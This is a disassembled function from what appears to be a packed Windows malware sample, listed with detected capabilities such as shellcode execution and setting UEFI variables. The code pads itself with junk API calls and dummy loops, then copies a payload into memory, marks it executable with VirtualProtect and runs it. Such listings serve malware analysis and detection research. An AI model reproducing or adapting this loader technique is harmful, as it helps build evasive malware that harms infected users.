Function at 0x40b150
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get geographical location
Set current directory
Set file attributes
Set uefi variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40b671
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x107c
call fcn.00409bc0
mov eax, dword [0x4b2030]
xor eax, esp
mov dword [esp + 0x1078], eax
push ebx
push esi
push edi
mov eax, dword [0x4b2030]
xor eax, esp
push eax
lea eax, [esp + 0x1090]
mov dword fs:[0], eax
mov eax, dword [0x2c9201c]
cmp eax, 0x7c
jne 0x40b1f2
lea eax, [esp + 0x54]
push eax
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
lea edx, [esp + 0x88]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x2c9201c]
cmp eax, 0x2d
jne 0x40b1f2
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov eax, dword [0x2c9201c]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
xor esi, esi
cmp eax, 0x8cf
jne 0x40b237
push 0
call edi
push 0
lea eax, [esp + 0x88]
push eax
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x64]
push eax
push 0
lea ecx, [esp + 0x89c]
push ecx
push 0
call ebx
mov eax, dword [0x2c9201c]
cmp esi, 0x1c6
jne 0x40b24e
mov eax, dword [0x4b3d74]
add eax, 0xa231
mov dword [0x2c9201c], eax
cmp eax, 0x141
jne 0x40b269
mov dword [0x4b48f8], 0xec58acac
mov dword [0x4b48fc], 0xffffffff
inc esi
cmp esi, 0xb9fa744
jl 0x40b200
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x40b28a
mov edx, dword [0x4b2f58]
mov dword [0x2c9214c], edx
cmp eax, 0x3c
jne 0x40b29f
push str.nikaxiyoheyevitixivatezupuj
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov eax, dword [0x2c9201c]
inc esi
cmp esi, 0x5f6c74
jl 0x40b276
cmp eax, 0x110a
jne 0x40b456
push ebx
mov dword [0x2c92010], ebx
mov dword [0x2c92014], ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.doyoyomarahofudazaragu
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [esp + 0x5c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.004012c4
push ebx
push ebx
call fcn.004012c4
push 0x4b04ec
push str._s__c
push 0x4b4870
call fcn.00401199
add esp, 0x1c
push 4
call fcn.00401440
add esp, 4
cmp eax, ebx
je 0x40b32a
lea ecx, [esp + 0x34]
mov dword [eax], ecx
jmp 0x40b32c
xor eax, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
push 4
mov dword [esp + 0x109c], 1
call fcn.00401440
add esp, 4
cmp eax, ebx
je 0x40b35d
lea edx, [esp + 0x1c]
mov dword [eax], edx
jmp 0x40b35f
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.004012c4
push 0x4b04ec
push 0x4b4870
call fcn.00401304
mov eax, dword [esp + 0x38]
add esp, 0x10
cmp eax, ebx
je 0x40b3d5
mov edi, dword [esp + 0x2c]
cmp eax, edi
je 0x40b3cc
lea esi, [eax + 0x18]
jmp 0x40b3a0
cmp dword [esi], 0x10
jb 0x40b3b1
mov eax, dword [esi - 0x14]
push eax
call fcn.004013c9
add esp, 4
mov dword [esi], 0xf
mov dword [esi - 4], ebx
mov byte [esi - 0x14], 0
add esi, 0x1c
lea ecx, [esi - 0x18]
cmp ecx, edi
jne 0x40b3a0
mov eax, dword [esp + 0x28]
push eax
call fcn.004013c9
add esp, 4
mov edx, dword [esp + 0x1c]
push edx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.004013c9
mov eax, dword [esp + 0x44]
add esp, 4
cmp eax, ebx
je 0x40b438
mov edi, dword [esp + 0x44]
cmp eax, edi
je 0x40b42f
lea esi, [eax + 0x18]
cmp dword [esi], 8
jb 0x40b412
mov eax, dword [esi - 0x14]
push eax
call fcn.004013c9
add esp, 4
xor ecx, ecx
mov dword [esi], 7
mov dword [esi - 4], ebx
mov word [esi - 0x14], cx
add esi, 0x1c
lea edx, [esi - 0x18]
cmp edx, edi
jne 0x40b401
mov eax, dword [esp + 0x40]
push eax
call fcn.004013c9
add esp, 4
mov eax, dword [esp + 0x34]
push eax
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
call fcn.004013c9
mov eax, dword [0x2c9201c]
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor ecx, ecx
mov dword [0x2c91e68], eax
cmp dword [0x2c9201c], ebx
jbe 0x40b4ab
mov edx, 0x19b0
mov eax, dword [0x2c9214c]
mov dword [esp + 0x14], eax
mov eax, 0xa231
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov al, byte [eax + ecx]
mov esi, dword [0x2c91e68]
mov byte [esi + ecx], al
mov eax, dword [0x2c9201c]
cmp eax, 0x5ab
jne 0x40b4a6
mov dword [0x2c91e6c], edx
inc ecx
cmp ecx, eax
jb 0x40b472
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x2c9201c]
mov eax, dword [0x2c91e68]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040b0a0
mov ecx, dword [0x2c91e68]
xor eax, eax
lea ecx, [ecx]
cmp eax, 0xbd9cb
jne 0x40b4ed
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x40b4e0
mov edi, dword [esp + 0x64]
mov dword [0x2c91e68], ecx
xor esi, esi
lea ecx, [esp + 0x884]
push ecx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
cmp esi, 0x1a01e
jle 0x40b51f
cmp edi, 0xf5bed7
jne 0x40b528
inc esi
cmp esi, 0x1ece7a52
jl 0x40b501
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp + 0x14], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x2c9201c], 0xcc1
jne 0x40b55d
push 0
push 0
push str.mepirenobuyap
push str.xekezobaxaserovorixopoxo
call esi
cmp dword [0x2c9201c], 0x7c4
mov dword [0x2c92018], ebx
jne 0x40b571
call edi
sub dword [esp + 0x14], 1
jne 0x40b541
mov ecx, dword [esp + 0x1090]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1078]
xor ecx, esp
call fcn.0040110c
mov esp, ebp
pop ebp
ret